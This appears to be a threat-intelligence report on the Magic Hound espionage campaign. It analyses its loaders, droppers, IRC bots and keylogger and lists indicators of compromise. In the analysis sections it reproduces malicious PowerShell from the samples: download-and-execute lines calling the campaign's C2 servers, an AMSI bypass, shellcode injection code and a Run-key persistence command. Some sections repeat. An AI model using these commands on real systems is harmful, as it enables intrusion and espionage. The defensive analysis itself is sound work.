To set up persistence, the loader writes a file to c:\temp\rr.exe and executes it with specific command line arguments to create auto run registry keys.
All Fetch samples drop the same exact executable to set up persistence.
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES.
However, they all used the same key agkrhfpdbvhdhrkj.
The loaders main goal was to run a PowerShell command to execute shellcode.
We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents.
The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.
]date/0m5EE We were not able to retrieve the shellcode hosted at this URL.
However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode- based payload which is likely to be meterpreter.
PUPY LOADER The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android.
We have seen the Magic Hound campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems.
Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses.
Also, the configurations show the use of the obfs3 (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol.
The obfs3 is used in the Tor project and the specifics of this transport can be found at the Tor Project.
MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.
DropIt.
The DropIt Trojan we analyzed is an executable that builds another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order.
In all of the DropIt samples we collected, the dropper then saves the executable to the users TEMP folder and executes the file.
We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host.
The legitimate decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user.
These types of tactics are generally used for evasion and to not trigger and suspicion from the victim.
In one example, the decoy executable was a legitimate Flash installer, therefore from the victims perspective, they would experience the expected behavior of a Flash installer.
MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.
Retriever.
At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an embedded URL in its configuration as the C2.
Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests resembling the example request in Figure 4.
6/19 https://github.com/trustedsec/unicorn https://github.com/trustedsec/unicorn https://github.com/trustedsec/unicorn/blob/master/unicorn.py https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/doc/obfs3/obfs3-protocol-spec.txt Figure 4 Retriever HTTP request sent to its C2 server MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.
Leash.
We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications.
Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server.
All of its available commands (see Appendix), except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with AS_ or AF_.
Figure 5 Lecash bot responding to VER command There are a great deal of similarities between the IRC bot originally discussed in iSights NEWSCASTER whitepaper and LEASH.
iSights whitepaper provided details on an IRC bot, which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2: Parastoo Trojan MagicHound.
Leash USER AS_ :des NICK t__982 JOIN :tistani Parastoo USER AS_a :des NICK Conroy JOIN :kalk Performing a binary diff revealed a 67 similarity between the Leash and Parastoo samples.
In addition to sharing significant portions of code, both of the IRC bots require an IRC users nickname to start with either AF_ or AS_ to run commands on the system.
Also, the two bots have similar responses to VER commands seen in Figure 6 below, which differ slightly from the responses seen generated by Leash.
7/19 Figure 6 Parastoo Trojan responding to commands in similar manner to Leash MPKBot We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on.
This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as detailed in a whitepaper by CheckPoint regarding a threat group called Rocket Kitten.
We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap.
CONCLUSION The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region.
Organizations in the government, energy, and technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia.
The toolset used by the Magic Hound campaign was an assortment of custom tools, as well as open sourced tools available to the general public.
None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social engineering tactics to compromise targets.
While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this time, although we will continue to monitor the activities of Magic Hound.
Palo Alto Networks customers are protected via the following: WildFire identification and detection of malicious samples Command and control servers are classified as malicious AutoFocus tags have been created Magic Hound MagicHound DropIt MagicHound Fetch MagicHound Retriever MagicHound Rollover MagicHound Leash MagicHound MPKBot PuPYRAT INDICATORS OF COMPROMISE MagicHound.
DropIt SHA256 c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a 0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396 860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2 b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061 4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf 5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305 3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502 MagicHound.
Fetch PE SHA256 b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c 8/19 http://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf https://autofocus.paloaltonetworks.com//tag/Unit42.MagicHound https://autofocus.paloaltonetworks.com//tag/Unit42.DropIt https://autofocus.paloaltonetworks.com//tag/Unit42.Fetch https://autofocus.paloaltonetworks.com//tag/Unit42.Retriever https://autofocus.paloaltonetworks.com//tag/Unit42.Rollover https://autofocus.paloaltonetworks.com//tag/Unit42.Leash https://autofocus.paloaltonetworks.com//tag/Unit42.MPKbot https://autofocus.paloaltonetworks.com//tag/Commodity.
PuPYRAT 6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed 16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd 92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5 86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4 c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143 a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06 d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6 79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932 2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a 8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75 abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26 9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656 e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263 ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0 eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a 1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1 29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309 MagicHound.
Fetch PE C2 service.chrome-up[.
]date www3.chrome-up[.
]date www7.chrome-up[.
]date timezone[.
]live service1.chrome-up[.
]date 104.238.184[.
]252 www5.chrome-up[.
]date servicesystem.serveirc[.
]com MagicHound.
Fetch DOC SHA256 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2 e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087 388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d 33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e 5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da 528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62 66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864 68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964 e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087 f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143 af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9 6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031 MagicHound.
Fetch DOC C2 45.76.128[.
]165 9/19 139.59.46[.
]154 104.218.120[.
]128 89.107.62[.
]39 69.87.223[.
]26 analytics-google[.
]org 89.107.60[.
]11 www3.chrome-up[.
]date www.microsoftsubsystem.com-adm[.
]in www1.chrome-up[.
]date MagicHound.
Fetch XLS SHA256 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b 97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade MagicHound.
Fetch XLS C2 45.76.128[.
]165 139.59.46[.
]154 Pupy Loaders SHA256 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 Pupy Loaders C2 139.59.46[.
]154 www1.chrome-up[.
]date MagicHound.
Retriever SHA256 1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce 7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823 b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6 3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1 MagicHound.
Retriever C2 service.chrome-up[.
]date msservice[.
]site microsoftexplorerservices[.
]cloud MagicHound.
Leash SHA256 133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5 ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4 d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf MagicHound.
Leash C2 45.56.123[.
]129 syn.timezone[.
]live 10/19 MPKBot SHA256 d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19 MPKBot C2 45.58.37[.
]142 Appendix MAGICHOUND.ROLLOVER The Magic Hound campaign used Word and Excel documents as a delivery method, specifically documents that contain a malicious macro that attempts to load either the Pupy RAT or possibly Meterpreter.
We call this tool MagicHound.
Rollover.
In one example, the Word document contained a button with the label First click Enable Content above the page, then click here to fill out the form This string attempts to trick the user into enabling macros to execute the malicious code within the macro.
When the macro executes, it unhides a table that contains the contents of a legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background.
The macro contains malicious code that attempts to download content from a remote server.
The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques.
The first technique is rather straightforward, using PowerShells iex function to execute a string obtained from a remote server.
The macro carries out this first technique by running the following command: 1 powershell.exe -w hidden -noni -nop -c iex(New-Object System.
Net.
WebClient).DownloadString(hxxp://139.59.46.154:3485/eiloShaegae1) The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute: GET /eiloShaegae1 HTTP/1.1 Host: 139.59.46[.
]154:3485 Connection: Keep-Alive The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code.
The Unicorn source code contains a comment for this specific PowerShell command, which is described as a one line shellcode injection with native x86 shellcode.
The shellcode begins with a stub that is responsible for decrypting additional shellcode.
To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362 and XOR the first DWORD of the additional shellcode.
It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on.
After we decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system.
The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL hxxp://45.76.128[.
]165:4443/0w0O6.
We are unsure of the shellcode hosted at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode.
Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256: 218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.
]154:3485/eiloShaegae1 to obtain additional code to execute.
On January 1, 2017, we observed this URL responding to the above HTTP request with the following data: 1 powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF As you can see, the C2 server responds with a PowerShell command that will run on the system.
The PowerShell command decodes to the following: 11/19 https://github.com/trustedsec/unicorn https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm 1 2 3 4 5 6 7 8 9 10 11 12 13 command WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA if (Env:PROCESSOR_ARCHITECTURE -eq AMD64) exec Env:windir \SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded command IEX exec else exec [System.
Convert]::FromBase64String(command) exec [Text.
Encoding]::Unicode.
GetString(exec) IEX exec The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following: 1 2 3 4 5 [Net.
ServicePointManager]::ServerCertificateValidationCallback true try [Ref].Assembly.
GetType(System.
Management.
Automation.
AmsiUtils).GetField(amsiInitFailed, NonPublic,Static).SetValue(null, true) catch IEX (New-Object Net.
WebClient).DownloadString(http:// 139.59.46[.
]154:3485 /IMo8oosieVai) This decoded PowerShell script attempts to download and execute a file using HTTP from the URL hxxp:// 139.59.46[.
]154:3485 /IMo8oosieVai.
The C2 server will respond to this HTTP GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded using the following code: 1 PEBytesTotal [System.
Convert]::FromBase64String(PEBytes0PEBytes1PEBytes2PEBytes3PEBytes4PEBytes5PEBytes6PEBytes7PEBytes8PEBytes9PEBytes10PEBytes11 The PowerShell script loads the DLL payload directly into memory without saving it to the disk.
The Pupy payload was generated using the following configuration, which shows the C2 IP/port and the use of the obfs3 transport: 1 LAUNCHER_ARGS[--host, 139.59.46[.
]154:3543, -t, obfs3] It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents: https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py MAGICHOUND.FETCH The custom loader Trojan used by this group, which we call MagicHound.
Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to download and execute a secondary payload.
To set up persistence, the loader creates a folder named c:\temp, sets its attributes to be a hidden and system folder to hide the folder from view in Windows Explorer.
It then writes a file named rr.exe (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with specific command line arguments.
During our analysis, we observed one loader running rr.exe with the following arguments: 1 open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run C:\DOCUME1\ADMINI1\LOCALS1\Temp\spp.exe iexplore The rr.exe payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts.
In the example above, the spp.exe executable would be added to an auto-run registry key at: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key agkrhfpdbvhdhrkj however, the loaders main goal involved running the following command: 1 /c powershell -window hidden -EncodedCommand JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsA The base64 encoded command decodes to the following: 1 0o8e f9B [DllImport(kernel32.dll)]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect)[DllImport(kernel32.dll)]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId) [DllImport(msvcrt.dll)]public static extern IntPtr memset(IntPtr dest, uint src, uint count)w Add-Type -memberDefinition f9B -Name Win32 -namespace Win32Functions - passthru[Byte[]][Byte[]]z shellcode REDACTED for brevityg 0x1000if (z.Length -gt 0x1000)g z.LengthrJrw::VirtualAlloc(0,0x1000,g,0x40)for (i0i -le (z.Length-1)i) w::memset([IntPtr](rJr.
ToInt32()i), z[i], 1)w::CreateThread(0,0,rJr,0,0,0)for ()Start-sleep 60e [System.
Convert]::ToBase64String([System.
Text.
Encoding]::Unicode.
GetBytes(0o8e))DKn -enc if([IntPtr]::Size -eq 8)b32 env:SystemRoot \syswow64\WindowsPowerShell\v1.0\powershelliex b32 DKn eelseiex powershell DKn e The decoded command above builds a buffer that it uses to store shellcode and creates a thread to execute it.
We found the command above within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents.
The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.
]date/0m5EE We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload.
However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcode-based payload.
The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload.
PUPY LOADER Pupy comes with default loaders that run the RAT on a variety of different platforms, specifically Windows, OSX, Linux and We have seen the Magic Hound actors using both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems.
We have gathered three samples of the default loader associated with this group and extracted the following 12/19 https://github.com/n1nj4sec/pupy/blob/master/pupy/pupylib/payloads/ps1_oneliner.py https://github.com/trustedsec/unicorn/blob/master/unicorn.py configurations: SHA256 of Sample Configuration 82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190 LAUNCHER_ARGS[host, www1.chrome-up[.
]date:4443, -t, obfs3] db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f LAUNCHER_ARGS[host, www1.chrome-up[.
]date:4443, -t, obfs3] 7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73 LAUNCHER_ARGS[host, 139.59.46[.
]154:3543, -t, obfs3] These configurations show that this group uses both fully-qualified domain names and IP addresses to host their Pupy C2 servers.
Also, the configurations show the use of the obfs3 (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based communications protocol.
The obfs3 is used in the Tor project and the specifics of this transport can be found at the Tor Project.
MAGICHOUND.DROPIT The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.
DropIt.
The DropIt Trojan we analyzed is an executable that builds an embedded executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order.
In all of the DropIt samples we collected, the dropper will then save the executable to the users TEMP folder and execute the file, specifically to one of the following filenames: TEMP\spp.exe TEMP\sloo.exe TEMP\spoo.exe TEMP\vschos.exe We have also seen Magic Hound using DropIt like a binder Trojan, specifically dropping a legitimate decoy executable along with the malicious executable as a payload.
For example, we analyzed a DropIt sample (SHA256: cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671) that dropped two executables, one of which was saved to TEMP\flash_update.exe that was a legitimate Flash Player installer.
We believe the Magic Hound campaign uses the DropIt Trojan to run legitimate applications that fit their social engineering, which in the example above included coercing the victim into updating their Flash Player.
MAGICHOUND.RETRIEVER We observed a DropIt sample installing another Trojan we call MagicHound.
Retriever.
At a high level, Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound.
While the Trojan itself does not resemble the other Magic Hound tools, it does create a folder named c:\temp that the Magic Hound loader creates to store its persistence executable, as previously discussed.
The folder name is quite generic and by itself is not a great correlation point, however, this coupled with the shared infrastructure makes a higher fidelity connection between the two.
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The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh Android.
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The Retriever Trojan uses the following namespace: using pcchekapp.grp.ammar.samaneh Android.
The malware begins by creating a web service object and uses the following URL within its configuration: http:// service.chrome-up[.
]date:8080 /WebService.asmx It then calls a function called SetLog2, which sets variables for the systems IP address, MAC address and hostname.
A password variable is available but unused in this sample.
The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system.
The code obtains the external IP address via an HTTP request using to http://checkip.dyndns.org/ and uses a regular expression to locate an IP address from the HTTP response.
Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as: As you can see from the above request, the SoapHttpClientProtocol class neatly structures data into an HTTP POST request.
All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests.
Instead, we will refer to the specific SOAP action (see SOAPAction field in previous example, specifically SetLog2) that the Trojan requests from the C2 server and the response from the C2 server.
After sending the C2 the system information, the malware then issues a second request for GetHasAnything, which will communicate with the C2 server and ask the server if it has a secondary binary for the Trojan to install.
If the C2 server provides any response to the GetHasAnything request, it then calls the GetIdAbOne SOAP method to obtain what we believe is a unique identifier for the system that the Trojan will use for further interaction with the C2.
After receiving this variable, the Trojan calls the GetNameAbById to obtain a base64 string that will be the filename written in a newly created c:\temp (decoded from YzpcdGVtcFw) folder.
The Trojan will then call GetAbById, which the C2 will provide a base64 string for the contents for the file to write to c:\temp.
After obtaining the unique ID from the C2 server, the Trojan calls the SetAbStatById method to notify the C2 server of its status of 1 to notify the server it had successfully received the filename and file data.
13/19 https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/doc/obfs3/obfs3-protocol-spec.txt With the file written to the system, the Trojan calls the GetishideAbById SOAP action to determine whether or not the C2 server wishes to execute the newly dropped file in a hidden window.
This request is followed by a call to GetisrunasAbById to determine if the Trojan should use runas to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click.
Unfortunately, we were unable to obtain a secondary payload from an active C2 server.
MAGICHOUND.LEASH The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.
Leash.
This tool was discovered when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications.
The bot chooses a random name from 977 hardcoded possibilities, connects to an adversary owned IRC server and joins a channel using the following IRC commands: USER AS_a :des NICK Conroy JOIN :kalk Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server.
The following commands are available: Command SubCommand Description VER Generates the following IRC client command that will be sent to the C2 server: PRIVMSG username : 8 LED 20160124 KILL Trojan disconnects from the IRC server and terminates itself RESET Trojan disconnects from the IRC server and runs the executable again OS Obtains the Windows version and responds to the C2 with the following message PRIVMSG :: Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info SH EXEC Not supported MD Creates a specified directory.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be dir is maked.
if successful or dir is not maked if unsuccessful.
MKDIR Same as MD subcommand.
RD Removes a specified directory.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be dir is removed.
if successful or dir is not removed.
if unsuccessful.
DEL Deletes a specified file.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be file is deleted.
if successful or file is not deleted.
if unsuccessful.
COPY Not supported.
MOVE Not supported.
REN Renames a specified file.
The Trojan will respond to the C2 with PRIVMSG : [].
The message sent to the C2 will be file is renamed.
if successful or file is not renamed.
if unsuccessful.
DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices.
EXE Calls GetModuleFileNameA function to obtain the path to the currently running executable and sends it to the C2 server.
DWN Downloads a file from a specified URL.
Responds to the IRC server via PRIVMSG with Download Success :FilePath or Download Fail if unsuccessful.
CMD Trojan executes a command prompt command.
The Trojan will save the output of the command to TEMP\win .txt and send the contents to the C2 server or The length of Cmd result file is ziro if the command was unsuccessful.
SA Generates the following IRC client command that will be sent to the C2 server: PRIVMSG : Hello ,my name is , Im ready my Computer Name is: All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with AS_ or AF_.
This suggests that the adversarys 14/19 IRC nickname would need to have these prefixes to control the systems infected with this Trojan.
The adversary could have used this name requirement as an added measure to make sure other individuals did not join the IRC server and begin interacting with compromised systems.
15/19 16/19 17/19 MPKBot We also found a second IRC bot called MPK (SHA256: d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19) using an IP that a Retriever sample was hosted on as a C2 server instead.
This MPK IRC bot is very similar to the MPK Trojan that used a custom C2 communications protocol, as discussed in the whitepaper by CheckPoint discussing a threat group called Rocket Kitten.
We believe this version of the MPK Trojan is based on the same code base, as both the IRC version and the one discussed in the above white paper have considerable similarities from a behavior standpoint and both Trojan have direct code sharing between them.
From a behaviorial standpoint, both the IRC and custom protocol version of MPK save tmp.vbs and tmp1.vbs to the TEMP folder (both differed slightly but used the same variable names within the script) in order to copy the Trojan to its final location and to execute it.
Both variants need to be executed with the command line argument [2] to avoid continually attempting to copy and execute the Trojan using the tmp.vbs and tmp1.vbs files.
The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically: [HKLM and HKCU]\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file.
The MPK IRC Bot monitors active application windows and writes the title of the open window along with the logged keystrokes to a file at temp\Save.tmp.
The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain: Gmail - Yahoo login Sign In - Outlook.com - MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format: ///////////// Mail Find email address /////////// If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the Save.tmp file in the following format: Window window title The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used.
The IRC variant creates a mutex named mpk1 and attempts to connect to an IRC server at 45.58.37[.
